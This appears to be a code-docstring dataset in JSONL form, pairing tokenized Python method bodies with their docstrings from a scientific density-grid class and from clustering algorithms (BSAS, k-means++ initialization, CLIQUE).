{"signature": "def resample(self, edges):", "body": "try:<EOL><INDENT>edges = edges.edges  <EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>midpoints = self._midpoints(edges)<EOL>coordinates = ndmeshgrid(*midpoints)<EOL>newgrid = self.interpolated(*coordinates)<EOL>return self.__class__(newgrid, edges)<EOL>", "docstring": "Resample data to a new grid with edges *edges*.\n\n        This method creates a new grid with the data from the current\n        grid resampled to a regular grid specified by *edges*.  The\n        order of the interpolation is set by\n        :attr:`Grid.interpolation_spline_order`: change the value\n        *before* calling :meth:`resample`.\n\n        Parameters\n        ----------\n        edges : tuple of arrays or Grid\n             edges of the new grid or a :class:`Grid` instance that\n             provides :attr:`Grid.edges`\n\n        Returns\n        -------\n        Grid\n             a new :class:`Grid` with the data interpolated over the\n             new grid cells\n\n\n        Examples\n        --------\n\n        Providing *edges* (a tuple of three arrays, indicating the\n        boundaries of each grid cell)::\n\n          g = grid.resample(edges)\n\n        As a convenience, one can also supply another :class:`Grid` as\n        the argument for this method ::\n\n          g = grid.resample(othergrid)\n\n        and the edges are taken from :attr:`Grid.edges`.", "id": "f15455:c0:m3"}
{"signature": "def resample_factor(self, factor):", "body": "<EOL>newlengths = [(N - <NUM_LIT:1>) * float(factor) + <NUM_LIT:1> for N in self._len_edges()]<EOL>edges = [numpy.linspace(start, stop, num=int(N), endpoint=True)<EOL>for (start, stop, N) in<EOL>zip(self._min_edges(), self._max_edges(), newlengths)]<EOL>return self.resample(edges)<EOL>", "docstring": "Resample to a new regular grid.\n\n\n        Parameters\n        ----------\n        factor : float\n            The number of grid cells are scaled with `factor` in each\n            dimension, i.e., ``factor * N_i`` cells along each\n            dimension i.\n\n\n        Returns\n        -------\n        Grid\n\n\n        See Also\n        --------\n        resample", "id": "f15455:c0:m4"}
{"signature": "def _update(self):", "body": "self.delta = numpy.array(list(<EOL>map(lambda e: (e[-<NUM_LIT:1>] - e[<NUM_LIT:0>]) / (len(e) - <NUM_LIT:1>), self.edges)))<EOL>self.midpoints = self._midpoints(self.edges)<EOL>self.origin = numpy.array(list(map(lambda m: m[<NUM_LIT:0>], self.midpoints)))<EOL>if self.__interpolated is not None:<EOL><INDENT>self.__interpolated = self._interpolationFunctionFactory()<EOL><DEDENT>", "docstring": "compute/update all derived data\n\n        Can be called without harm and is idem-potent.\n\n        Updates these attributes and methods:\n           :attr:`origin`\n              the center of the cell with index 0,0,0\n           :attr:`midpoints`\n              centre coordinate of each grid cell\n           :meth:`interpolated`\n              spline interpolation function that can generated a value for\n              coordinate", "id": "f15455:c0:m5"}
{"signature": "@property<EOL><INDENT>def interpolated(self):<DEDENT>", "body": "if self.__interpolated is None:<EOL><INDENT>self.__interpolated = self._interpolationFunctionFactory()<EOL><DEDENT>return self.__interpolated<EOL>", "docstring": "B-spline function over the data grid(x,y,z).\n\n        The :func:`interpolated` function allows one to obtain data\n        values for any values of the coordinates::\n\n           interpolated([x1,x2,...],[y1,y2,...],[z1,z2,...]) -> F[x1,y1,z1],F[x2,y2,z2],...\n\n        The interpolation order is set in\n        :attr:`Grid.interpolation_spline_order`.\n\n        The interpolated function is computed once and is cached for better\n        performance. Whenever :attr:`~Grid.interpolation_spline_order` is\n        modified, :meth:`Grid.interpolated` is recomputed.\n\n        The value for unknown data is set in :attr:`Grid.interpolation_cval`\n        (TODO: also recompute when ``interpolation_cval`` value is changed.)\n\n        Example\n        -------\n        Example usage for resampling::\n\n           XX, YY, ZZ = numpy.mgrid[40:75:0.5, 96:150:0.5, 20:50:0.5]\n           FF = interpolated(XX, YY, ZZ)\n\n        Note\n        ----\n        Values are interpolated with a spline function. It is possible\n        that the spline will generate values that would not normally\n        appear in the data. For example, a density is non-negative but\n        a cubic spline interpolation can generate negative values,\n        especially at the boundary between 0 and high values.", "id": "f15455:c0:m6"}
{"signature": "def load(self, filename, file_format=None):", "body": "loader = self._get_loader(filename, file_format=file_format)<EOL>loader(filename)<EOL>", "docstring": "Load saved (pickled or dx) grid and edges from <filename>.pickle\n\n           Grid.load(<filename>.pickle)\n           Grid.load(<filename>.dx)\n\n        The load() method calls the class's constructor method and\n        completely resets all values, based on the loaded data.", "id": "f15455:c0:m15"}
{"signature": "def _load_cpp4(self, filename):", "body": "ccp4 = CCP4.CCP4()<EOL>ccp4.read(filename)<EOL>grid, edges = ccp4.histogramdd()<EOL>self.__init__(grid=grid, edges=edges, metadata=self.metadata)<EOL>", "docstring": "Initializes Grid from a CCP4 file.", "id": "f15455:c0:m17"}
{"signature": "def _load_dx(self, filename):", "body": "dx = OpenDX.field(<NUM_LIT:0>)<EOL>dx.read(filename)<EOL>grid, edges = dx.histogramdd()<EOL>self.__init__(grid=grid, edges=edges, metadata=self.metadata)<EOL>", "docstring": "Initializes Grid from a OpenDX file.", "id": "f15455:c0:m18"}
{"signature": "def _load_plt(self, filename):", "body": "g = gOpenMol.Plt()<EOL>g.read(filename)<EOL>grid, edges = g.histogramdd()<EOL>self.__init__(grid=grid, edges=edges, metadata=self.metadata)<EOL>", "docstring": "Initialize Grid from gOpenMol plt file.", "id": "f15455:c0:m19"}
{"signature": "def export(self, filename, file_format=None, type=None, typequote='<STR_LIT:\">'):", "body": "exporter = self._get_exporter(filename, file_format=file_format)<EOL>exporter(filename, type=type, typequote=typequote)<EOL>", "docstring": "export density to file using the given format.\n\n        The format can also be deduced from the suffix of the filename\n        though the *format* keyword takes precedence.\n\n        The default format for export() is 'dx'.  Use 'dx' for\n        visualization.\n\n        Implemented formats:\n\n        dx\n            :mod:`OpenDX`\n        pickle\n            pickle (use :meth:`Grid.load` to restore); :meth:`Grid.save`\n            is simpler than ``export(format='python')``.\n\n        Parameters\n        ----------\n\n        filename : str\n            name of the output file\n\n        file_format : {'dx', 'pickle', None} (optional)\n            output file format, the default is \"dx\"\n\n        type : str (optional)\n            for DX, set the output DX array type, e.g., \"double\" or \"float\".\n            By default (``None``), the DX type is determined from the numpy\n            dtype of the array of the grid (and this will typically result in\n            \"double\").\n\n            .. versionadded:: 0.4.0\n\n        typequote : str (optional)\n            For DX, set the character used to quote the type string;\n            by default this is a double-quote character, '\"'.\n            Custom parsers like the one from NAMD-GridForces (backend for MDFF)\n            expect no quotes, and typequote='' may be used to appease them.\n\n            .. versionadded:: 0.5.0", "id": "f15455:c0:m20"}
{"signature": "def _export_python(self, filename, **kwargs):", "body": "data = dict(grid=self.grid, edges=self.edges, metadata=self.metadata)<EOL>with open(filename, '<STR_LIT:wb>') as f:<EOL><INDENT>cPickle.dump(data, f, cPickle.HIGHEST_PROTOCOL)<EOL><DEDENT>", "docstring": "Pickle the Grid object\n\n        The object is dumped as a dictionary with grid and edges: This\n        is sufficient to recreate the grid object with __init__().", "id": "f15455:c0:m21"}
{"signature": "def _export_dx(self, filename, type=None, typequote='<STR_LIT:\">', **kwargs):", "body": "root, ext = os.path.splitext(filename)<EOL>filename = root + '<STR_LIT>'<EOL>comments = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>]<EOL>if self.metadata:<EOL><INDENT>comments.append('<STR_LIT>')<EOL><DEDENT>for k in self.metadata:<EOL><INDENT>comments.append('<STR_LIT:U+0020>' + str(k) + '<STR_LIT>' + str(self.metadata[k]))<EOL><DEDENT>comments.append(<EOL>'<STR_LIT>')<EOL>components = dict(<EOL>positions=OpenDX.gridpositions(<NUM_LIT:1>, self.grid.shape, self.origin,<EOL>self.delta),<EOL>connections=OpenDX.gridconnections(<NUM_LIT:2>, self.grid.shape),<EOL>data=OpenDX.array(<NUM_LIT:3>, self.grid, type=type, typequote=typequote),<EOL>)<EOL>dx = OpenDX.field('<STR_LIT>', components=components, comments=comments)<EOL>dx.write(filename)<EOL>", "docstring": "Export the density grid to an OpenDX file.\n\n        The file format is the simplest regular grid array and it is\n        also understood by VMD's and Chimera's DX reader; PyMOL\n        requires the dx `type` to be set to \"double\".\n\n        For the file format see\n        http://opendx.sdsc.edu/docs/html/pages/usrgu068.htm#HDREDF", "id": "f15455:c0:m22"}
{"signature": "def save(self, filename):", "body": "self.export(filename, file_format=\"<STR_LIT>\")<EOL>", "docstring": "Save a grid object to <filename>.pickle\n\n        Internally, this calls\n        ``Grid.export(filename, format=\"python\")``. A grid can be\n        regenerated from the saved data with ::\n\n           g = Grid(filename=\"grid.pickle\")\n\n        .. note::\n           The pickle format depends on the Python version and\n           therefore it is not guaranteed that a grid saved with, say,\n           Python 2.7 can also be read with Python 3.5. The OpenDX format\n           is a better alternative for portability.", "id": "f15455:c0:m23"}
{"signature": "def centers(self):", "body": "for idx in numpy.ndindex(self.grid.shape):<EOL><INDENT>yield self.delta * numpy.array(idx) + self.origin<EOL><DEDENT>", "docstring": "Returns the coordinates of the centers of all grid cells as an\n        iterator.", "id": "f15455:c0:m24"}
{"signature": "def check_compatible(self, other):", "body": "if not (numpy.isreal(other) or self == other):<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return True<EOL>", "docstring": "Check if *other* can be used in an arithmetic operation.\n\n        1) *other* is a scalar\n        2) *other* is a grid defined on the same edges\n\n        :Raises: :exc:`TypeError` if not compatible.", "id": "f15455:c0:m25"}
{"signature": "def _interpolationFunctionFactory(self, spline_order=None, cval=None):", "body": "<EOL>import scipy.ndimage<EOL>if spline_order is None:<EOL><INDENT>spline_order = self.interpolation_spline_order<EOL><DEDENT>if cval is None:<EOL><INDENT>cval = self.interpolation_cval<EOL><DEDENT>data = self.grid<EOL>if cval is None:<EOL><INDENT>cval = data.min()<EOL><DEDENT>try:<EOL><INDENT>_data = data.filled(cval)<EOL><DEDENT>except AttributeError:<EOL><INDENT>_data = data<EOL><DEDENT>coeffs = scipy.ndimage.spline_filter(_data, order=spline_order)<EOL>x0 = self.origin<EOL>dx = self.delta<EOL>def _transform(cnew, c0, dc):<EOL><INDENT>return (numpy.atleast_1d(cnew) - c0) / dc<EOL><DEDENT>def interpolatedF(*coordinates):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>_coordinates = numpy.array(<EOL>[_transform(coordinates[i], x0[i], dx[i]) for i in range(len(<EOL>coordinates))])<EOL>return scipy.ndimage.map_coordinates(coeffs,<EOL>_coordinates,<EOL>prefilter=False,<EOL>mode='<STR_LIT>',<EOL>cval=cval)<EOL><DEDENT>return interpolatedF<EOL>", "docstring": "Returns a function F(x,y,z) that interpolates any values on the grid.\n\n        _interpolationFunctionFactory(self,spline_order=3,cval=None) --> F\n\n        *cval* is set to :meth:`Grid.grid.min`. *cval* cannot be chosen too\n        large or too small or NaN because otherwise the spline interpolation\n        breaks down near that region and produces wild oscillations.\n\n        .. Note:: Only correct for equally spaced values (i.e. regular edges with\n                  constant delta).\n        .. SeeAlso:: http://www.scipy.org/Cookbook/Interpolation", "id": "f15455:c0:m26"}
{"signature": "@staticmethod<EOL><INDENT>def show_clusters(sample, clusters, representatives, **kwargs):<DEDENT>", "body": "figure = kwargs.get('<STR_LIT>', None)<EOL>display = kwargs.get('<STR_LIT>', True)<EOL>offset = kwargs.get('<STR_LIT>', <NUM_LIT:0>)<EOL>visualizer = cluster_visualizer()<EOL>visualizer.append_clusters(clusters, sample, canvas=offset)<EOL>for cluster_index in range(len(clusters)):<EOL><INDENT>visualizer.append_cluster_attribute(offset, cluster_index, [representatives[cluster_index]], '<STR_LIT:*>', <NUM_LIT:10>)<EOL><DEDENT>return visualizer.show(figure=figure, display=display)<EOL>", "docstring": "!\n        @brief Display BSAS clustering results.\n\n        @param[in] sample (list): Dataset that was used for clustering.\n        @param[in] clusters (array_like): Clusters that were allocated by the algorithm.\n        @param[in] representatives (array_like): Allocated representatives correspond to clusters.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'figure', 'display', 'offset').\n\n        <b>Keyword Args:</b><br>\n            - figure (figure): If 'None' then new is figure is created, otherwise specified figure is used for visualization.\n            - display (bool): If 'True' then figure will be shown by the method, otherwise it should be shown manually using matplotlib function 'plt.show()'.\n            - offset (uint): Specify axes index on the figure where results should be drawn (only if argument 'figure' is specified).\n\n        @return (figure) Figure where clusters were drawn.", "id": "f15464:c0:m0"}
{"signature": "def __init__(self, data, maximum_clusters, threshold, ccore=True, **kwargs):", "body": "self._data = data;<EOL>self._amount = maximum_clusters;<EOL>self._threshold = threshold;<EOL>self._metric = kwargs.get('<STR_LIT>', distance_metric(type_metric.EUCLIDEAN));<EOL>self._ccore = ccore and self._metric.get_type() != type_metric.USER_DEFINED;<EOL>self._clusters = [];<EOL>self._representatives = [];<EOL>if self._ccore is True:<EOL><INDENT>self._ccore = ccore_library.workable();<EOL><DEDENT>", "docstring": "!\n        @brief Creates classical BSAS algorithm.\n\n        @param[in] data (list): Input data that is presented as list of points (objects), each point should be represented by list or tuple.\n        @param[in] maximum_clusters: Maximum allowable number of clusters that can be allocated during processing.\n        @param[in] threshold: Threshold of dissimilarity (maximum distance) between points.\n        @param[in] ccore (bool): If True than DLL CCORE (C++ solution) will be used for solving.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'metric').\n\n        <b>Keyword Args:</b><br>\n            - metric (distance_metric): Metric that is used for distance calculation between two points.", "id": "f15464:c1:m0"}
{"signature": "def process(self):", "body": "if self._ccore is True:<EOL><INDENT>self.__process_by_ccore();<EOL><DEDENT>else:<EOL><INDENT>self.__prcess_by_python();<EOL><DEDENT>", "docstring": "!\n        @brief Performs cluster analysis in line with rules of BSAS algorithm.\n\n        @remark Results of clustering can be obtained using corresponding get methods.\n\n        @see get_clusters()\n        @see get_representatives()", "id": "f15464:c1:m1"}
{"signature": "def get_clusters(self):", "body": "return self._clusters<EOL>", "docstring": "!\n        @brief Returns list of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @see process()\n        @see get_representatives()", "id": "f15464:c1:m4"}
{"signature": "def get_representatives(self):", "body": "return self._representatives<EOL>", "docstring": "!\n        @brief Returns list of representatives of allocated clusters.\n\n        @see process()\n        @see get_clusters()", "id": "f15464:c1:m5"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15464:c1:m6"}
{"signature": "def _find_nearest_cluster(self, point):", "body": "index_cluster = -<NUM_LIT:1>;<EOL>nearest_distance = float('<STR_LIT>');<EOL>for index in range(len(self._representatives)):<EOL><INDENT>distance = self._metric(point, self._representatives[index]);<EOL>if distance < nearest_distance:<EOL><INDENT>index_cluster = index;<EOL>nearest_distance = distance;<EOL><DEDENT><DEDENT>return index_cluster, nearest_distance<EOL>", "docstring": "!\n        @brief Find nearest cluster to the specified point.\n\n        @param[in] point (list): Point from dataset.\n\n        @return (uint, double) Index of nearest cluster and distance to it.", "id": "f15464:c1:m7"}
{"signature": "def _update_representative(self, index_cluster, point):", "body": "length = len(self._clusters[index_cluster]);<EOL>rep = self._representatives[index_cluster];<EOL>for dimension in range(len(rep)):<EOL><INDENT>rep[dimension] = ( (length - <NUM_LIT:1>) * rep[dimension] + point[dimension] ) / length;<EOL><DEDENT>", "docstring": "!\n        @brief Update cluster representative in line with new cluster size and added point to it.\n\n        @param[in] index_cluster (uint): Index of cluster whose representative should be updated.\n        @param[in] point (list): Point that was added to cluster.", "id": "f15464:c1:m8"}
{"signature": "def __init__(self, data, amount_centers):", "body": "self.__data = data<EOL>self.__amount = amount_centers<EOL>self.__available_indexes = set(list(range(len(self.__data))))<EOL>if self.__amount <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if self.__amount > len(self.__data):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % self.__amount)<EOL><DEDENT>", "docstring": "!\n        @brief Creates instance of random center initializer.\n\n        @param[in] data (list): List of points where each point is represented by list of coordinates.\n        @param[in] amount_centers (unit): Amount of centers that should be initialized.", "id": "f15465:c0:m0"}
{"signature": "def initialize(self, **kwargs):", "body": "return_index = kwargs.get('<STR_LIT>', False)<EOL>if self.__amount == len(self.__data):<EOL><INDENT>if return_index:<EOL><INDENT>return list(range(len(self.__data)))<EOL><DEDENT>return self.__data[:]<EOL><DEDENT>return [self.__create_center(return_index) for _ in range(self.__amount)]<EOL>", "docstring": "!\n        @brief Generates random centers in line with input parameters.\n\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'return_index').\n\n        <b>Keyword Args:</b><br>\n            - return_index (bool): If True then returns indexes of points from input data instead of points itself.\n\n        @return (list) List of initialized initial centers.\n                  If argument 'return_index' is False then returns list of points.\n                  If argument 'return_index' is True then returns list of indexes.", "id": "f15465:c0:m1"}
{"signature": "def __create_center(self, return_index):", "body": "random_index_point = random.randint(<NUM_LIT:0>, len(self.__data[<NUM_LIT:0>]))<EOL>if random_index_point not in self.__available_indexes:<EOL><INDENT>random_index_point = self.__available_indexes.pop()<EOL><DEDENT>else:<EOL><INDENT>self.__available_indexes.remove(random_index_point)<EOL><DEDENT>if return_index:<EOL><INDENT>return random_index_point<EOL><DEDENT>return self.__data[random_index_point]<EOL>", "docstring": "!\n        @brief Generates and returns random center.\n\n        @param[in] return_index (bool): If True then returns index of point from input data instead of point itself.", "id": "f15465:c0:m2"}
{"signature": "def __init__(self, data, amount_centers, amount_candidates = <NUM_LIT:1>):", "body": "self.__data = numpy.array(data)<EOL>self.__amount = amount_centers<EOL>self.__candidates = amount_candidates<EOL>self.__free_indexes = set(range(len(self.__data)))<EOL>self.__check_parameters()<EOL>", "docstring": "!\n        @brief Creates K-Means++ center initializer instance.\n\n        @param[in] data (array_like): List of points where each point is represented by list of coordinates.\n        @param[in] amount_centers (uint): Amount of centers that should be initialized.\n        @param[in] amount_candidates (uint): Amount of candidates that is considered as a center, if the farthest points (with the highest probability) should\n                    be considered as centers then special constant should be used 'FARTHEST_CENTER_CANDIDATE'.\n\n        @see FARTHEST_CENTER_CANDIDATE", "id": "f15465:c1:m0"}
{"signature": "def __check_parameters(self):", "body": "if (self.__amount <= <NUM_LIT:0>) or (self.__amount > len(self.__data)):<EOL><INDENT>raise AttributeError(\"<STR_LIT>\" + str(self.__amount) + \"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if self.__candidates != kmeans_plusplus_initializer.FARTHEST_CENTER_CANDIDATE:<EOL><INDENT>if (self.__candidates <= <NUM_LIT:0>) or (self.__candidates > len(self.__data)):<EOL><INDENT>raise AttributeError(\"<STR_LIT>\" + str(self.__candidates) + \"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if len(self.__data) == <NUM_LIT:0>:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "!\n        @brief Checks input parameters of the algorithm and if something wrong then corresponding exception is thrown.", "id": "f15465:c1:m1"}
{"signature": "def __get_next_center(self, centers, return_index):", "body": "distances = self.__calculate_shortest_distances(self.__data, centers, return_index)<EOL>if self.__candidates == kmeans_plusplus_initializer.FARTHEST_CENTER_CANDIDATE:<EOL><INDENT>center_index = numpy.nanargmax(distances)<EOL><DEDENT>else:<EOL><INDENT>probabilities = self.__calculate_probabilities(distances)<EOL>center_index = self.__get_probable_center(distances, probabilities)<EOL><DEDENT>if return_index:<EOL><INDENT>return center_index<EOL><DEDENT>return self.__data[center_index]<EOL>", "docstring": "!\n        @brief Calculates the next center for the data.\n\n        @param[in] centers (array_like): Current initialized centers.\n        @param[in] return_index (bool): If True then return center's index instead of point.\n\n        @return (array_like) Next initialized center.<br>\n                (uint) Index of next initialized center if return_index is True.", "id": "f15465:c1:m3"}
{"signature": "def __get_initial_center(self, return_index):", "body": "index_center = random.randint(<NUM_LIT:0>, len(self.__data) - <NUM_LIT:1>)<EOL>if return_index:<EOL><INDENT>return index_center<EOL><DEDENT>return self.__data[index_center]<EOL>", "docstring": "!\n        @brief Choose randomly first center.\n\n        @param[in] return_index (bool): If True then return center's index instead of point.\n\n        @return (array_like) First center.<br>\n                (uint) Index of first center.", "id": "f15465:c1:m4"}
{"signature": "def __calculate_probabilities(self, distances):", "body": "total_distance = numpy.sum(distances)<EOL>if total_distance != <NUM_LIT:0.0>:<EOL><INDENT>probabilities = distances / total_distance<EOL>return numpy.cumsum(probabilities)<EOL><DEDENT>else:<EOL><INDENT>return numpy.zeros(len(distances))<EOL><DEDENT>", "docstring": "!\n        @brief Calculates cumulative probabilities of being center of each point.\n\n        @param[in] distances (array_like): Distances from each point to closest center.\n\n        @return (array_like) Cumulative probabilities of being center of each point.", "id": "f15465:c1:m5"}
{"signature": "def __get_probable_center(self, distances, probabilities):", "body": "index_best_candidate = -<NUM_LIT:1><EOL>for _ in range(self.__candidates):<EOL><INDENT>candidate_probability = random.random()<EOL>index_candidate = <NUM_LIT:0><EOL>for index_object in range(len(probabilities)):<EOL><INDENT>if candidate_probability < probabilities[index_object]:<EOL><INDENT>index_candidate = index_object<EOL>break<EOL><DEDENT><DEDENT>if index_best_candidate == -<NUM_LIT:1>:<EOL><INDENT>index_best_candidate = next(iter(self.__free_indexes))<EOL><DEDENT>elif distances[index_best_candidate] < distances[index_candidate]:<EOL><INDENT>index_best_candidate = index_candidate<EOL><DEDENT><DEDENT>return index_best_candidate<EOL>", "docstring": "!\n        @brief Calculates the next probable center considering amount candidates.\n\n        @param[in] distances (array_like): Distances from each point to closest center.\n        @param[in] probabilities (array_like): Cumulative probabilities of being center of each point.\n\n        @return (uint) Index point that is next initialized center.", "id": "f15465:c1:m6"}
{"signature": "def initialize(self, **kwargs):", "body": "return_index = kwargs.get('<STR_LIT>', False)<EOL>index_point = self.__get_initial_center(True)<EOL>centers = [index_point]<EOL>self.__free_indexes.remove(index_point)<EOL>for _ in range(<NUM_LIT:1>, self.__amount):<EOL><INDENT>index_point = self.__get_next_center(centers, True)<EOL>centers.append(index_point)<EOL>self.__free_indexes.remove(index_point)<EOL><DEDENT>if not return_index:<EOL><INDENT>centers = [self.__data[index] for index in centers]<EOL><DEDENT>return centers<EOL>", "docstring": "!\n        @brief Calculates initial centers using K-Means++ method.\n\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'return_index').\n\n        <b>Keyword Args:</b><br>\n            - return_index (bool): If True then returns indexes of points from input data instead of points itself.\n\n        @return (list) List of initialized initial centers.\n                  If argument 'return_index' is False then returns list of points.\n                  If argument 'return_index' is True then returns list of indexes.", "id": "f15465:c1:m7"}
{"signature": "@staticmethod<EOL><INDENT>def show_grid(cells, data):<DEDENT>", "body": "dimension = cells[<NUM_LIT:0>].dimensions<EOL>amount_canvases = <NUM_LIT:1><EOL>if dimension > <NUM_LIT:1>:<EOL><INDENT>amount_canvases = int(dimension * (dimension - <NUM_LIT:1>) / <NUM_LIT:2>)<EOL><DEDENT>figure = plt.figure()<EOL>grid_spec = gridspec.GridSpec(<NUM_LIT:1>, amount_canvases)<EOL>pairs = list(itertools.combinations(range(dimension), <NUM_LIT:2>))<EOL>if len(pairs) == <NUM_LIT:0>: pairs = [(<NUM_LIT:0>, <NUM_LIT:0>)]<EOL>for index in range(amount_canvases):<EOL><INDENT>ax = figure.add_subplot(grid_spec[index])<EOL>clique_visualizer.__draw_cells(ax, cells, pairs[index])<EOL>clique_visualizer.__draw_two_dimension_data(ax, data, pairs[index])<EOL><DEDENT>plt.show()<EOL>", "docstring": "!\n        @brief Show CLIQUE blocks as a grid in data space.\n        @details Each block contains points and according to this density is displayed. CLIQUE grid helps to visualize\n                  grid that was used for clustering process.\n\n        @param[in] cells (list): List of cells that is produced by CLIQUE algorithm.\n        @param[in] data (array_like): Input data that was used for clustering process.", "id": "f15466:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def show_clusters(data, clusters, noise=None):<DEDENT>", "body": "visualizer = cluster_visualizer()<EOL>visualizer.append_clusters(clusters, data)<EOL>visualizer.append_cluster(noise or [], data, marker='<STR_LIT:x>')<EOL>visualizer.show()<EOL>", "docstring": "!\n        @brief Display CLIQUE clustering results.\n\n        @param[in] data (list): Data that was used for clustering.\n        @param[in] clusters (array_like): Clusters that were allocated by the algorithm.\n        @param[in] noise (array_like): Noise that were allocated by the algorithm.", "id": "f15466:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def __draw_two_dimension_data(ax, data, pair):<DEDENT>", "body": "ax.set_xlabel(\"<STR_LIT>\" % pair[<NUM_LIT:0>])<EOL>ax.set_ylabel(\"<STR_LIT>\" % pair[<NUM_LIT:1>])<EOL>for point in data:<EOL><INDENT>if len(data[<NUM_LIT:0>]) > <NUM_LIT:1>:<EOL><INDENT>ax.plot(point[pair[<NUM_LIT:0>]], point[pair[<NUM_LIT:1>]], color='<STR_LIT>', marker='<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>ax.plot(point[pair[<NUM_LIT:0>]], <NUM_LIT:0>, color='<STR_LIT>', marker='<STR_LIT:.>')<EOL>ax.yaxis.set_ticklabels([])<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Display data in two-dimensional canvas.\n\n        @param[in] ax (Axis): Canvas where data should be displayed.\n        @param[in] data (list): Data points that should be displayed.\n        @param[in] pair (tuple): Pair of dimension indexes.", "id": "f15466:c0:m2"}
{"signature": "def __init__(self, max_corner, min_corner):", "body": "self.__max_corner = max_corner<EOL>self.__min_corner = min_corner<EOL>", "docstring": "!\n        @brief Creates spatial block in data space.\n\n        @param[in] max_corner (array_like): Maximum corner coordinates of the block.\n        @param[in] min_corner (array_like): Minimal corner coordinates of the block.", "id": "f15466:c1:m0"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\" % (self.__max_corner, self.__min_corner)<EOL>", "docstring": "!\n        @brief Returns string block description.\n\n        @return String representation of the block.", "id": "f15466:c1:m1"}
{"signature": "def __contains__(self, point):", "body": "for i in range(len(point)):<EOL><INDENT>if point[i] < self.__min_corner[i] or point[i] > self.__max_corner[i]:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "!\n        @brief Point is considered as contained if it lies in block (belong to it).\n\n        @return (bool) True if point is in block, otherwise False.", "id": "f15466:c1:m2"}
{"signature": "def get_corners(self):", "body": "return self.__max_corner, self.__min_corner<EOL>", "docstring": "!\n        @brief Return spatial description of current block.\n\n        @return (tuple) Pair of maximum and minimum corners (max_corner, min_corner).", "id": "f15466:c1:m3"}
{"signature": "def __init__(self, logical_location=None, spatial_location=None, points=None, visited=False):", "body": "self.__logical_location = logical_location or []<EOL>self.__spatial_location = spatial_location<EOL>self.__points = points or []<EOL>self.__visited = visited<EOL>", "docstring": "!\n        @brief Initializes CLIQUE block.\n\n        @param[in] logical_location (list): Logical location of the block in CLIQUE grid.\n        @param[in] spatial_location (spatial_block): Spatial location in data space.\n        @param[in] points (array_like): Points that belong to this block (can be obtained by method 'capture_points',\n                    this parameter is used by CLIQUE in case of processing by C++ implementation when clustering\n                    result are passed back to Python code.\n        @param[in] visited (bool): Marks if block is visited during clustering process.", "id": "f15466:c2:m0"}
{"signature": "def __str__(self):", "body": "return str(self.__logical_location)<EOL>", "docstring": "!\n        @brief Returns string representation of the block using its logical location in CLIQUE grid.", "id": "f15466:c2:m1"}
{"signature": "def __repr__(self):", "body": "return str(self.__logical_location)<EOL>", "docstring": "!\n        @brief Returns string representation of the block using its logical location in CLIQUE grid.", "id": "f15466:c2:m2"}
{"signature": "@property<EOL><INDENT>def logical_location(self):<DEDENT>", "body": "return self.__logical_location<EOL>", "docstring": "!\n        @brief Logical location is represented by coordinates in CLIQUE grid, for example, in case of 2x2 grid blocks\n                may have following coordinates: [0, 0], [0, 1], [1, 0], [1, 1].\n        @return (list) Logical location of the block in CLIQUE grid.", "id": "f15466:c2:m3"}
{"signature": "@logical_location.setter<EOL><INDENT>def logical_location(self, location):<DEDENT>", "body": "self.__logical_location = location<EOL>", "docstring": "!\n        @brief Assign logical location to CLIQUE block.\n\n        @param[in] location (list): New logical location of the block in CLIQUE grid.", "id": "f15466:c2:m4"}
{"signature": "@property<EOL><INDENT>def spatial_location(self):<DEDENT>", "body": "return self.__spatial_location<EOL>", "docstring": "!\n        @brief Spatial location is represented by real data space coordinates.\n        @return (spatial_block) Spatial block that describes location in data space.", "id": "f15466:c2:m5"}
{"signature": "@spatial_location.setter<EOL><INDENT>def spatial_location(self, location):<DEDENT>", "body": "self.__spatial_location = location<EOL>", "docstring": "!\n        @brief Assign spatial location to CLIQUE block.\n\n        @param[in] location (spatial_block): New spatial location of the block.", "id": "f15466:c2:m6"}
{"signature": "@property<EOL><INDENT>def dimensions(self):<DEDENT>", "body": "return len(self.__logical_location)<EOL>", "docstring": "!\n        @brief Amount of dimensions where CLIQUE block is located.\n        @return (uint) Amount of dimensions where CLIQUE block is located.", "id": "f15466:c2:m7"}
{"signature": "@property<EOL><INDENT>def points(self):<DEDENT>", "body": "return self.__points<EOL>", "docstring": "!\n        @brief Points that belong to the CLIQUE block.\n        @details Points are represented by indexes that correspond to points in input data space.\n\n        @return (array_like) Points that belong to the CLIQUE block.\n\n        @see capture_points", "id": "f15466:c2:m8"}
{"signature": "@property<EOL><INDENT>def visited(self):<DEDENT>", "body": "return self.__visited<EOL>", "docstring": "!\n        @brief Defines whether block is visited during cluster analysis.\n        @details If cluster analysis has not been performed then value will False.\n\n        @return (bool) True if block has been visited during processing, False otherwise.", "id": "f15466:c2:m9"}
